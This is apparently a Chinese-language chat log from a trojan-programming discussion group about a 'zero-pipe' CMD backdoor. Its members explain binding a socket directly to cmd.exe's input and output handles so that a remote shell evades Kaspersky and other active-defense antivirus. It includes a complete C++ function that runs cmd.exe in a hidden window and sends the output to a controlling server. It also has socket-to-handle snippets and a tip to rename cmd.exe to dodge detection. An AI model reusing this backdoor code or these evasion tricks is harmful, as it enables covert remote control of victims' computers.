技术讨论关于零管道CMD后门
冷风
草草细说下零管道 关注........
.μρ2ц清风
这个不光过卡巴了,,,基本上所有主动防御都过!!
包口SSM,微点,,,
夕草
hot patching
.μρ2ц清风
对啊..
冷风
用socket直接替换输入输出的handle，可以实现零管道
sulwan
颠覆核心编程啊
.μρ2ц清风
反正我是用零管道的..
幻影
si.hStdInput=hrp1;
si.hStdOutput=hwp2;
幻影
是格handle
.μρ2ц清风
呵呵,,有一点点小资料,,不过看不明白!!
幻影
而socket是整形吧？
夕草
黑防有文章介绍过
夕草
socket 是 unsigned long
幻影
对啊
你的意思是
si.hStdInput=sock1;
si.hStdOutput=sock1;
sulwan
整形
Lenk
做管道通讯？
sulwan
没错
sulwan
SOCKET socket(
int af,
int type,
int protocol
);
问下，可以理解这样吗
冷风
呵呵明白了....
.μρ2ц清风
int CCmdLine::DOSShell(char *command)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hRead=NULL,hWrite=NULL;
TCHAR Cmdline[300]={0}; //命令行缓冲
BYTE SendBuf[2048]={0}; //发送缓冲
SECURITY_ATTRIBUTES sa; //安全描述符
DWORD bytesRead=0;
std::string strBuffer;
sa.nLength=sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor=NULL;
sa.bInheritHandle=TRUE;
//创建匿名管道
if (!CreatePipe(&hRead,&hWrite,&sa,0))
goto Clean;//失败
si.cb=sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError=hWrite;
si.hStdOutput=hWrite; //进程（cmd）的输出写入管道
si.wShowWindow=SW_HIDE;
si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
GetSystemDirectory(Cmdline,sizeof (Cmdline)); //获取系统目录
strcat(Cmdline,"//cmd.exe /c "); //拼接cmd
strcat(Cmdline,command); //拼接一条完整的cmd命令
//创建进程，也就是执行cmd命令
if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
goto Clean;//失败
CloseHandle(hWrite);
while (TRUE)
{
//无限循环读取管道中的数据，直到管道中没有数据为止
if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)==0)
break;
m_hServer->Send(SendBuf,bytesRead);
memset(SendBuf,0,sizeof (SendBuf)); //缓冲清零
Sleep(100); //休息一下
}
Clean:
if (hRead!=NULL)
CloseHandle(hRead);
if (hWrite!=NULL)
CloseHandle(hWrite);
return true;
}
幻影
这代码什么意思？
幻影
零管道?
.μρ2ц清风
零管道!!
夕草
就是把socket强制转换为handle类型
幻影
不是吧,这样能过卡吧了?
.μρ2ц清风
夕草在说什么呢??
夕草
不是过咔吧，我只是说零管道
.μρ2ц清风
呵呵,你自己测试过不过卡巴咯..
夕草
过卡巴，可以拷贝cmd.exe为abc.exe啊
幻影
(hWrite); 根本没有用啊啊
sulwan
你这样做内存消耗大吗
夕草
StartupInfo.hStdInput = (HANDLE)sclient;
幻影
可以拷贝cmd.exe为abc.exe啊--貌似没用,我这样用还是提示
.μρ2ц清风
零管道,不是我理解错了把..
只是创建一个pipe,卡巴之监控创建两个pipe的代码,,
不关socket的事!!!你拷贝CMD为其他名字一样监控..
夕草
零管道就是不用创建管道
Lenk
晚点再来。朋友们，慢慢讨论
.μρ2ц清风
他的流程是之创建CMD,然后执行命令,把管道里的数据读出来,,,关闭管道!!发送读到的数据!
.μρ2ц清风
晕,是不是我理解错了..零管道还有其他的说法??
sulwan
汗！我看我的思维是不行了！长见识了
夕草
零管道就是不用CreatePipe了
直接用socket接管输入输出句柄
.μρ2ц清风
好了,我回头再看看资料..也不用争论了,能过卡巴就是好马..哈哈!!
BlackFeather
赶紧学习···
结帖了 呵呵 零管道理解成幻影的可以吧
si.hStdInput=sock1;
si.hStdOutput=sock1;
by 木马编程技术讨论群 (44390702)